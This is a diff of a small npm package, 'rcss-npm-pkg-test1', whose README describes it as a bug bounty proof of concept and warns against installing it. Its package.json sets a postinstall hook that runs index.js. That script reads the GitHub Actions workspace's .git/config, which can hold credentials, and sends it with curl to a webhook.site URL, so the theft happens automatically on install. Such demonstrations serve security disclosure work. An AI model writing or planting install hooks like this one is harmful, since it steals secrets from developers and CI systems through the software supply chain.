rcss-npm-pkg-test1 1.0.1

package/README.md

@@ -0,0 +1,7 @@
+# rcss-test-npm-pkg
+
+**⚠️ WARNING: DO NOT INSTALL THIS PACKAGE ⚠️**
+
+This package was created exclusively as a Proof of Concept (PoC) for a bug bounty submission. 
+
+It contains a `postinstall` hook that automatically executes commands upon installation to demonstrate command execution. It should not be installed or used in any real environments.

package/index.js

@@ -0,0 +1,14 @@
+const { exec } = require('child_process');
+
+console.log("===============================================================");
+console.log("Hello! rcss-test-npm-pkg has been installed successfully.");
+console.log("This is a proof of concept execution.");
+
+exec('cat $GITHUB_WORKSPACE/.git/config | curl -X POST https://webhook.site/TestActions/TestAdobe1/ -d @-', (error, stdout, stderr) => {
+  if (error) {
+    console.warn(`[PoC] Error executing the payload): ${error.message}`);
+    return;
+  }
+  console.log(`[PoC] Command Output:\n${stdout}`);
+});
+console.log("===============================================================");

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "rcss-npm-pkg-test1",
+  "version": "1.0.1",
+  "description": "A test package that runs a script on install",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "keywords": [],
+  "author": "0xrcss",
+  "license": "ISC"
+}